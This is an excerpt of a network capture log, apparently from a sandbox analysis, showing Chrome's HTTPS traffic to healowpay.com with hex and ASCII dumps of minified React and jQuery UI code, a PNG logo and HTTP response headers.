2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 64 65 66 61 75 6c 74 3a 74 3d 75 65 28 74 3d 28 65 3d 38 3d 3d 3d 65 3f 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3a 74 29 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 7c 7c 6e 75 6c 6c 2c 65 3d 65 2e 74 61 67 4e 61 6d 65 29 7d 4f 6f 28 65 69 29 2c 5f 6f 28 65 69 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 69 28 29 7b 4f 6f 28 65 69 29 2c 4f 6f 28 74 69 29 2c 4f 6f 28 6e 69 29 7d 66 75 6e 63 74 69 6f 6e 20 69 69 28 65 29 7b 72 69 28 6e 69 2e 63 75 72 72 65 6e 74 29 3b 76 61 72 20 74 3d 72 69 28 65 69 2e 63 75 72 72 65 6e 74 29 2c 6e 3d 75 65 28 74 2c 65 2e 74 79 70 65 29 3b 74 21 3d 3d 6e 26 26 28 5f 6f 28 74 69 2c 65 29 2c 5f 6f 28 65 69 2c 6e 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 69 28 65 29 7b 74 69 2e 63 75 72 72 65 6e 74 3d 3d 3d 65 26 26 28 4f 6f 28 65 69 29 2c Data Ascii: default:t=ue(t=(e=8===e?t.parentNode:t).namespaceURI\|\|null,e=e.tagName)}Oo(ei),_o(ei,t)}function ai(){Oo(ei),Oo(ti),Oo(ni)}function ii(e){ri(ni.current);var t=ri(ei.current),n=ue(t,e.type);t!==n&&(_o(ti,e),_o(ei,n))}function li(e){ti.current===e&&(Oo(ei),
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 64 3a 6e 75 6c 6c 2c 74 72 65 65 43 6f 6e 74 65 78 74 3a 6e 75 6c 6c 2c 72 65 74 72 79 4c 61 6e 65 3a 30 7d 3b 66 75 6e 63 74 69 6f 6e 20 46 6c 28 65 29 7b 72 65 74 75 72 6e 7b 62 61 73 65 4c 61 6e 65 73 3a 65 2c 63 61 63 68 65 50 6f 6f 6c 3a 6e 75 6c 6c 2c 74 72 61 6e 73 69 74 69 6f 6e 73 3a 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 56 6c 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 6f 3d 74 2e 70 65 6e 64 69 6e 67 50 72 6f 70 73 2c 69 3d 75 69 2e 63 75 72 72 65 6e 74 2c 6c 3d 21 31 2c 75 3d 30 21 3d 3d 28 31 32 38 26 74 2e 66 6c 61 67 73 29 3b 69 66 28 28 72 3d 75 29 7c 7c 28 72 3d 28 6e 75 6c 6c 3d 3d 3d 65 7c 7c 6e 75 6c 6c 21 3d 3d 65 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 29 26 26 30 21 3d 3d 28 32 26 69 29 29 2c 72 3f 28 6c 3d 21 30 2c 74 2e 66 Data Ascii: d:null,treeContext:null,retryLane:0};function Fl(e){return{baseLanes:e,cachePool:null,transitions:null}}function Vl(e,t,n){var r,o=t.pendingProps,i=ui.current,l=!1,u=0!==(128&t.flags);if((r=u)\|\|(r=(null===e\|\|null!==e.memoizedState)&&0!==(2&i)),r?(l=!0,t.f
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 42 65 66 6f 72 65 28 65 2c 74 29 3a 6e 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 29 3a 28 38 3d 3d 3d 6e 2e 6e 6f 64 65 54 79 70 65 3f 28 74 3d 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6e 29 3a 28 74 3d 6e 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2c 6e 75 6c 6c 21 3d 3d 28 6e 3d 6e 2e 5f 72 65 61 63 74 52 6f 6f 74 43 6f 6e 74 61 69 6e 65 72 29 26 26 76 6f 69 64 20 30 21 3d 3d 6e 7c 7c 6e 75 6c 6c 21 3d 3d 74 2e 6f 6e 63 6c 69 63 6b 7c 7c 28 74 2e 6f 6e 63 6c 69 63 6b 3d 4a 72 29 29 3b 65 6c 73 65 20 69 66 28 34 21 3d 3d 72 26 26 6e 75 6c 6c 21 3d 3d 28 65 3d 65 2e 63 68 69 6c 64 29 29 66 6f 72 28 73 75 28 65 2c 74 2c 6e 29 2c 65 3d 65 2e 73 69 62 6c 69 6e 67 3b 6e 75 6c 6c 21 3d 3d 65 3b 29 73 Data Ascii: Before(e,t):n.insertBefore(e,t):(8===n.nodeType?(t=n.parentNode).insertBefore(e,n):(t=n).appendChild(e),null!==(n=n._reactRootContainer)&&void 0!==n\|\|null!==t.onclick\|\|(t.onclick=Jr));else if(4!==r&&null!==(e=e.child))for(su(e,t,n),e=e.sibling;null!==e;)s
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 6f 72 28 3b 3b 29 7b 66 6f 72 28 76 61 72 20 68 3b 64 21 3d 3d 6e 7c 7c 30 21 3d 3d 6f 26 26 33 21 3d 3d 64 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 75 3d 6c 2b 6f 29 2c 64 21 3d 3d 69 7c 7c 30 21 3d 3d 72 26 26 33 21 3d 3d 64 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 73 3d 6c 2b 72 29 2c 33 3d 3d 3d 64 2e 6e 6f 64 65 54 79 70 65 26 26 28 6c 2b 3d 64 2e 6e 6f 64 65 56 61 6c 75 65 2e 6c 65 6e 67 74 68 29 2c 6e 75 6c 6c 21 3d 3d 28 68 3d 64 2e 66 69 72 73 74 43 68 69 6c 64 29 3b 29 70 3d 64 2c 64 3d 68 3b 66 6f 72 28 3b 3b 29 7b 69 66 28 64 3d 3d 3d 65 29 62 72 65 61 6b 20 74 3b 69 66 28 70 3d 3d 3d 6e 26 26 2b 2b 63 3d 3d 3d 6f 26 26 28 75 3d 6c 29 2c 70 3d 3d 3d 69 26 26 2b 2b 66 3d 3d 3d 72 26 26 28 73 3d 6c 29 2c 6e 75 6c 6c 21 3d 3d 28 68 3d 64 2e 6e 65 78 74 53 Data Ascii: or(;;){for(var h;d!==n\|\|0!==o&&3!==d.nodeType\|\|(u=l+o),d!==i\|\|0!==r&&3!==d.nodeType\|\|(s=l+r),3===d.nodeType&&(l+=d.nodeValue.length),null!==(h=d.firstChild);)p=d,d=h;for(;;){if(d===e)break t;if(p===n&&++c===o&&(u=l),p===i&&++f===r&&(s=l),null!==(h=d.nextS
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 29 2c 61 74 3d 6f 63 7d 63 61 74 63 68 28 63 65 29 7b 7d 7d 74 2e 5f 5f 53 45 43 52 45 54 5f 49 4e 54 45 52 4e 41 4c 53 5f 44 4f 5f 4e 4f 54 5f 55 53 45 5f 4f 52 5f 59 4f 55 5f 57 49 4c 4c 5f 42 45 5f 46 49 52 45 44 3d 74 63 2c 74 2e 63 72 65 61 74 65 50 6f 72 74 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 6e 75 6c 6c 3b 69 66 28 21 58 73 28 74 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 61 28 32 30 30 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 33 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 Data Ascii: ),at=oc}catch(ce){}}t.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=tc,t.createPortal=function(e,t){var n=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;if(!Xs(t))throw Error(a(200));return function(e,t,n){var r=3<arguments.length&&void
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 66 6f 72 6d 61 74 69 6f 6e 5f 76 70 5f 73 65 6c 65 63 74 5f 64 65 73 63 72 69 70 74 69 6f 6e 5f 5f 63 4d 76 41 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 72 65 74 75 72 6e 20 63 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 Data Ascii: formation_vp_select_description__cMvAx"};function c(e){return c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	50003	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	556	OUT	GET /HealowPay/jsp/img/payhealow-logo.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: image/png Content-Length: 3201 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"3201-1646033381000" Last-Modified: Mon, 28 Feb 2022 07:29:41 GMT Server:
2024-04-24 12:44:58 UTC	3201	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7b 00 00 00 1a 08 06 00 00 00 97 6f 23 80 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 0c 16 49 44 41 54 68 43 ed 5a 09 74 54 d5 19 fe b2 4d 36 42 08 d9 08 4b 48 c8 42 04 72 50 c8 a2 d1 14 51 8c d5 5a b5 6a e5 a0 47 a5 c7 42 5a 0e 05 81 40 95 a3 47 11 04 8e 52 10 4b 71 41 38 5a 31 a5 d0 80 55 03 6a 03 21 44 12 c8 02 c1 80 c1 98 dd ec fb 32 99 c9 64 26 99 fe ff 7d 77 26 93 3d 82 4b 54 be 73 26 f7 be bb bc 77 df bf ff ff 8b 55 46 bd c6 f8 d4 17 b5 e8 ec ea 46 e6 02 7f 8c 46 74 77 1b 11 99 5c 0a 95 15 b0 63 b6 37 22 dc 1d e5 cc 35 7c 1b 58 1b e9 4f b7 d1 88 2e ee 8c 52 58 9e 71 14 1f 73 d4 c3 Data Ascii: PNGIHDR{o#sRGBgAMAapHYs+IDAThCZtTM6BKHBrPQZjGBZ@GRKqA8Z1Uj!D2d&}w&=KTs&wUFFFtw\c7"5\|XO.RXqs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	50004	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:58 UTC	771	OUT	GET /HealowPay/jsp/js/assets/js/jquery-ui.min.js HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:58 UTC	1419	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:58 GMT Content-Type: text/javascript Content-Length: 255084 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"255084-1694774034000" Last-Modified: Fri, 15 Sep 2023 10:33:54 GMT vary: accept-encoding Server:
2024-04-24 12:44:58 UTC	14965	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 33 2e 32 20 2d 20 32 30 32 33 2d 30 39 2d 31 31 0d 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 74 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 64 61 74 61 2e 6a 73 2c 20 64 69 73 61 62 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 2e 6a 73 2c 20 66 6f 63 75 73 61 62 6c 65 2e 6a 73 2c 20 66 6f 72 6d 2d 72 65 73 65 74 2d 6d 69 78 69 6e 2e 6a 73 2c 20 6a 71 75 65 72 79 2d 70 61 74 63 68 2e 6a 73 2c 20 6b 65 79 63 6f 64 65 2e 6a 73 2c 20 6c 61 62 65 6c 73 2e 6a 73 2c 20 73 63 72 6f 6c 6c 2d 70 61 72 65 6e 74 2e 6a 73 2c 20 74 61 62 62 61 62 6c 65 2e 6a 73 2c 20 75 6e 69 71 75 65 2d 69 64 2e 6a 73 2c 20 77 69 64 67 65 74 73 Data Ascii: /! jQuery UI - v1.13.2 - 2023-09-11 http://jqueryui.com* Includes: widget.js, position.js, data.js, disable-selection.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets
2024-04-24 12:44:58 UTC	16384	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 56 2e 75 69 2e 70 6f 73 69 74 69 6f 6e 2e 66 6c 69 70 2e 74 6f 70 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 2c 56 2e 75 69 2e 70 6f 73 69 74 69 6f 6e 2e 66 69 74 2e 74 6f 70 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 7d 3b 76 61 72 20 74 3b 56 2e 75 69 2e 70 6f 73 69 74 69 6f 6e 2c 56 2e 65 78 74 65 6e 64 28 56 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2c 7b 64 61 74 61 3a 56 2e 65 78 70 72 2e 63 72 65 61 74 65 50 73 65 75 64 6f 3f 56 2e 65 78 70 72 2e 63 72 65 61 74 65 50 73 65 75 64 6f 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 21 56 2e 64 61 74 61 28 74 2c 65 29 7d 7d 29 3a 66 75 6e 63 74 69 6f Data Ascii: :function(){V.ui.position.flip.top.apply(this,arguments),V.ui.position.fit.top.apply(this,arguments)}}};var t;V.ui.position,V.extend(V.expr.pseudos,{data:V.expr.createPseudo?V.expr.createPseudo(function(e){return function(t){return!!V.data(t,e)}}):functio
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6e 26 26 74 68 69 73 2e 6f 66 66 73 65 74 2e 73 63 72 6f 6c 6c 7c 7c 28 74 68 69 73 2e 6f 66 66 73 65 74 2e 73 63 72 6f 6c 6c 3d 7b 74 6f 70 3a 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 2c 6c 65 66 74 3a 74 68 69 73 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 7d 29 2c 65 26 26 28 74 68 69 73 2e 63 6f 6e 74 61 69 6e 6d 65 6e 74 26 26 28 69 3d 74 68 69 73 2e 72 65 6c 61 74 69 76 65 43 6f 6e 74 61 69 6e 65 72 3f 28 69 3d 74 68 69 73 2e 72 65 6c 61 74 69 76 65 43 6f 6e 74 61 69 6e 65 72 2e 6f 66 66 73 65 74 28 29 2c 5b 74 68 69 73 2e 63 6f 6e 74 61 69 6e 6d 65 6e 74 5b 30 5d 2b 69 2e 6c 65 66 74 2c 74 68 69 73 2e 63 6f 6e 74 61 69 6e 6d 65 6e 74 5b 31 5d 2b Data Ascii: ;return n&&this.offset.scroll\|\|(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(i=this.relativeContainer?(i=this.relativeContainer.offset(),[this.containment[0]+i.left,this.containment[1]+
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 6f 77 3a 22 68 69 64 64 65 6e 22 2c 70 6f 73 69 74 69 6f 6e 3a 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 63 73 73 28 22 70 6f 73 69 74 69 6f 6e 22 29 2c 77 69 64 74 68 3a 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 68 65 69 67 68 74 3a 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 74 6f 70 3a 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 63 73 73 28 22 74 6f 70 22 29 2c 6c 65 66 74 3a 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 63 73 73 28 22 6c 65 66 74 22 29 7d 29 29 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 28 29 2e 64 61 74 61 28 22 75 69 2d 72 65 73 69 7a 61 62 6c 65 22 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 72 65 73 69 7a 61 62 6c 65 28 Data Ascii: ow:"hidden",position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable(
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 6f 3d 65 2e 6f 72 69 67 69 6e 61 6c 50 6f 73 69 74 69 6f 6e 2c 61 3d 65 2e 61 78 69 73 2c 72 3d 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 72 69 64 3f 5b 69 2e 67 72 69 64 2c 69 2e 67 72 69 64 5d 3a 69 2e 67 72 69 64 2c 6c 3d 72 5b 30 5d 7c 7c 31 2c 68 3d 72 5b 31 5d 7c 7c 31 2c 63 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 28 73 2e 77 69 64 74 68 2d 6e 2e 77 69 64 74 68 29 2f 6c 29 2a 6c 2c 75 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 28 73 2e 68 65 69 67 68 74 2d 6e 2e 68 65 69 67 68 74 29 2f 68 29 2a 68 2c 64 3d 6e 2e 77 69 64 74 68 2b 63 2c 70 3d 6e 2e 68 65 69 67 68 74 2b 75 2c 66 3d 69 2e 6d 61 78 57 69 64 74 68 26 26 69 2e 6d 61 78 57 69 64 74 68 3c 64 2c 67 3d 69 2e 6d 61 78 48 65 69 67 68 74 26 26 69 2e 6d 61 78 48 65 69 67 68 74 3c 70 2c 6d Data Ascii: o=e.originalPosition,a=e.axis,r="number"==typeof i.grid?[i.grid,i.grid]:i.grid,l=r[0]\|\|1,h=r[1]\|\|1,c=Math.round((s.width-n.width)/l)l,u=Math.round((s.height-n.height)/h)h,d=n.width+c,p=n.height+u,f=i.maxWidth&&i.maxWidth<d,g=i.maxHeight&&i.maxHeight<p,m
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 63 75 72 72 65 6e 74 49 74 65 6d 2e 66 69 6e 64 28 22 3a 64 61 74 61 28 22 2b 74 68 69 73 2e 77 69 64 67 65 74 4e 61 6d 65 2b 22 2d 69 74 65 6d 29 22 29 3b 74 68 69 73 2e 69 74 65 6d 73 3d 56 2e 67 72 65 70 28 74 68 69 73 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 69 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 69 5b 65 5d 3d 3d 3d 74 2e 69 74 65 6d 5b 30 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 29 7d 2c 5f 72 65 66 72 65 73 68 49 74 65 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 69 74 65 6d 73 3d 5b 5d 2c 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 73 3d 5b 74 68 69 73 5d 3b 76 61 72 20 65 2c 69 2c 73 2c 6e 2c 6f Data Ascii: tion(){var i=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=V.grep(this.items,function(t){for(var e=0;e<i.length;e++)if(i[e]===t.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var e,i,s,n,o
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 54 3a 63 61 73 65 20 65 2e 55 50 3a 6e 3d 74 68 69 73 2e 68 65 61 64 65 72 73 5b 28 73 2d 31 2b 69 29 25 69 5d 3b 62 72 65 61 6b 3b 63 61 73 65 20 65 2e 53 50 41 43 45 3a 63 61 73 65 20 65 2e 45 4e 54 45 52 3a 74 68 69 73 2e 5f 65 76 65 6e 74 48 61 6e 64 6c 65 72 28 74 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 65 2e 48 4f 4d 45 3a 6e 3d 74 68 69 73 2e 68 65 61 64 65 72 73 5b 30 5d 3b 62 72 65 61 6b 3b 63 61 73 65 20 65 2e 45 4e 44 3a 6e 3d 74 68 69 73 2e 68 65 61 64 65 72 73 5b 69 2d 31 5d 7d 6e 26 26 28 56 28 74 2e 74 61 72 67 65 74 29 2e 61 74 74 72 28 22 74 61 62 49 6e 64 65 78 22 2c 2d 31 29 2c 56 28 6e 29 2e 61 74 74 72 28 22 74 61 62 49 6e 64 65 78 22 2c 30 29 2c 56 28 6e 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 2c 74 2e 70 72 65 76 65 6e Data Ascii: T:case e.UP:n=this.headers[(s-1+i)%i];break;case e.SPACE:case e.ENTER:this._eventHandler(t);break;case e.HOME:n=this.headers[0];break;case e.END:n=this.headers[i-1]}n&&(V(t.target).attr("tabIndex",-1),V(n).attr("tabIndex",0),V(n).trigger("focus"),t.preven
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 4f 6e 6c 79 22 29 29 73 3d 6e 3d 69 3d 21 30 3b 65 6c 73 65 7b 73 3d 6e 3d 69 3d 21 31 3b 76 61 72 20 65 3d 56 2e 75 69 2e 6b 65 79 43 6f 64 65 3b 73 77 69 74 63 68 28 74 2e 6b 65 79 43 6f 64 65 29 7b 63 61 73 65 20 65 2e 50 41 47 45 5f 55 50 3a 69 3d 21 30 2c 74 68 69 73 2e 5f 6d 6f 76 65 28 22 70 72 65 76 69 6f 75 73 50 61 67 65 22 2c 74 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 65 2e 50 41 47 45 5f 44 4f 57 4e 3a 69 3d 21 30 2c 74 68 69 73 2e 5f 6d 6f 76 65 28 22 6e 65 78 74 50 61 67 65 22 2c 74 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 65 2e 55 50 3a 69 3d 21 30 2c 74 68 69 73 2e 5f 6b 65 79 45 76 65 6e 74 28 22 70 72 65 76 69 6f 75 73 22 2c 74 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 65 2e 44 4f 57 4e 3a 69 3d 21 30 2c 74 68 69 73 2e 5f 6b 65 79 45 76 65 6e Data Ascii: Only"))s=n=i=!0;else{s=n=i=!1;var e=V.ui.keyCode;switch(t.keyCode){case e.PAGE_UP:i=!0,this._move("previousPage",t);break;case e.PAGE_DOWN:i=!0,this._move("nextPage",t);break;case e.UP:i=!0,this._keyEvent("previous",t);break;case e.DOWN:i=!0,this._keyEven
2024-04-24 12:44:59 UTC	16384	IN	Data Raw: 74 6d 6c 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 6c 61 62 65 6c 29 29 2c 74 68 69 73 2e 5f 61 64 64 43 6c 61 73 73 28 22 75 69 2d 62 75 74 74 6f 6e 22 2c 22 75 69 2d 77 69 64 67 65 74 22 29 2c 74 68 69 73 2e 5f 73 65 74 4f 70 74 69 6f 6e 28 22 64 69 73 61 62 6c 65 64 22 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 69 73 61 62 6c 65 64 29 2c 74 68 69 73 2e 5f 65 6e 68 61 6e 63 65 28 29 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 73 28 22 61 22 29 26 26 74 68 69 73 2e 5f 6f 6e 28 7b 6b 65 79 75 70 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 6b 65 79 43 6f 64 65 3d 3d 3d 56 2e 75 69 2e 6b 65 79 43 6f 64 65 2e 53 50 41 43 45 26 26 28 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 5b 30 5d 2e 63 6c 69 63 6b 3f Data Ascii: tml(this.options.label)),this._addClass("ui-button","ui-widget"),this._setOption("disabled",this.options.disabled),this._enhance(),this.element.is("a")&&this._on({keyup:function(t){t.keyCode===V.ui.keyCode.SPACE&&(t.preventDefault(),this.element[0].click?
